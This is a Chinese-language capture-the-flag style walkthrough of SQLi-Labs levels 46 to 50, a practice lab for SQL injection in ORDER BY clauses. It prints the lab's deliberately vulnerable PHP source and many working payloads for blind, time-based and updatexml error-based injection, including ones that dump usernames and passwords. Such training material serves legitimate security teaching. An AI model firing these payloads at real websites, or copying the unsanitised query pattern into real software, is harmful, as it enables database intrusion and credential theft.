SQL-Labs靶场“46-50”关通关教程

君衍.

点击跳转:
SQL-Labs靶场"1-5"关通关教程
SQL-Labs靶场"6-10"关通关教程
SQL-Labs靶场"11-15"关通关教程
SQL-Labs靶场"15-20"关通关教程
SQL-Labs靶场"21-25"关通关教程

一、四十六关 ORDER BY数字型注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY $id

我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:

bash 复制代码
?sort=1

我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:

可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。

我们这里继续尝试,将参数变为1',我们可以看到它进行了报错:

可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。

同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。


所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。

1、源码分析

php 复制代码
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id))
	{
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'SORT:'.$id."\n");
	fclose($fp);

	$sql = "SELECT * FROM users ORDER BY $id";
	$result = mysqli_query($con1, $sql);
	if ($result)
		{
		?>
		···
		<?php
		while ($row = mysqli_fetch_assoc($result))
			{
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			}	
		echo "</table>";
		}
		else
		{
		print_r(mysqli_error($con1));
		}
	}	
	else
	{
		echo "Please input parameter as SORT with numeric value<br><br><br><br>";
		echo '<img src="../images/Less-46.jpg" /><br>';
		echo "Lesson Concept and code Idea by <b>D4rk</b>";
	}
?>

首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。


2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。

当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

bash 复制代码
?sort=rand(true)
?sort=rand(false)


可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>96)

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)


这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:

我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。

所以这里我们需要在知道列名的情况下进行使用:

bash 复制代码
?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:

这里我们主要利用id:

这里我们使用payload为:

bash 复制代码
?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

5、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

2、爆出数据库中的所有表

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

3、爆出数据库users表中的所有列

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

4、爆出数据

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

这里也不赘述了,改变limit值即可完成数据的查询。

6、Limit注入

首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。

sql 复制代码
select * from users limit 0,1;
select * from users limit 2,4;

这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入

在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。

现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:

sql 复制代码
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));

时间盲注方式:

sql 复制代码
select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

二、四十七关 ORDER BY单引号报错注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY '$id'

本关其实和46关利用方式一样的,只是闭合方式改变了,注入时需要正常闭合:


这里我们加上单引号完成闭合,然后注释掉后面的语句完成逃逸即可。所以本关注入点判断其实和46关是一样的,唯独不能使用if语句来进行盲注,上面46关我们也说了原因同时尝试过。

1、源码分析

php 复制代码
# 与46关相比就该SQL语句不相同即为闭合方式不同,采用了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
···

所以本关源码没有什么好说的,原理和46关源码分析是相同的,就闭合方式进行了改变导致我们无法使用if语句注入,所以我们更改注入方案即可。

2、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

2、爆出数据库中的所有表

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

3、爆出数据库users表中的所有列

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

4、爆出数据

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

这里也不赘述了,改变limit值即可完成数据的查询。

3、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

三、四十八关 ODRER BY数字型盲注

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY $id

本关依旧同46关利用方式一样,只是没有报错回显:

所以本关实则就是无法使用报错注入,剩下的都可以使用,因为并没有什么闭合方式:

1、源码分析

这里源码实则就是把46关显示报错信息的代码省略掉了,原理依旧同46关相同:

上图为46关代码,下面展示48关代码:

所以这里即是将报错注入不让使用了,下面我们更改注入方案:

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。

当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

bash 复制代码
?sort=rand(true)
?sort=rand(false)


可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>96)

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)


这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:

我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。

所以这里我们需要在知道列名的情况下进行使用:

bash 复制代码
?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:

这里我们主要利用id:

这里我们使用payload为:

bash 复制代码
?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

四、四十九关 ORDER BY单引号盲注

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY '$id'

四十九关即和47关类似,只是将报错回显省略掉了,同时增加了闭合。


1、源码分析

本关源码和47关大差不差,就是将47关报错回显省略掉了:

上图为49关代码,下图为47关代码:

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

五、五十关 ORDER BY数字型堆叠注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY $id

本关依旧同46关注入点判断类似:

打开界面显示如上图,首先我们令sort参数为1查看回显:

然后我们在后面加上单引号,观察是否报错:

我们可以看到这里进行了报错,所以本关我们可以尝试使用报错注入。

1、源码分析

php 复制代码
···# 与46关相同
if (mysqli_multi_query($con1, $sql))
···# 与46关相同

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入。当然我们也可以使用报错注入。


(堆叠注入我们之后会详细讨论到)

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

3、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

2、爆出数据库中的所有表

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

3、爆出数据库users表中的所有列

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

4、爆出数据

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

这里也不赘述了,改变limit值即可完成数据的查询。

相关推荐
师太,答应老衲吧21 分钟前
SQL实战训练之,力扣:2020. 无流量的帐户数(递归)
数据库·sql·leetcode
昌sit!44 分钟前
K8S node节点没有相应的pod镜像运行故障处理办法
云原生·容器·kubernetes
Channing Lewis1 小时前
salesforce case可以新建一个roll up 字段,统计出这个case下的email数量吗
数据库·salesforce
追风林2 小时前
mac 本地docker-mysql主从复制部署
mysql·macos·docker
一坨阿亮2 小时前
Linux 使用中的问题
linux·运维
毕业设计制作和分享3 小时前
ssm《数据库系统原理》课程平台的设计与实现+vue
前端·数据库·vue.js·oracle·mybatis
ketil273 小时前
Redis - String 字符串
数据库·redis·缓存
NiNg_1_2343 小时前
高级 SQL 技巧详解
sql
A ?Charis3 小时前
Gitlab-runner running on Kubernetes - hostAliases
容器·kubernetes·gitlab
Hsu_kk4 小时前
MySQL 批量删除海量数据的几种方法
数据库·mysql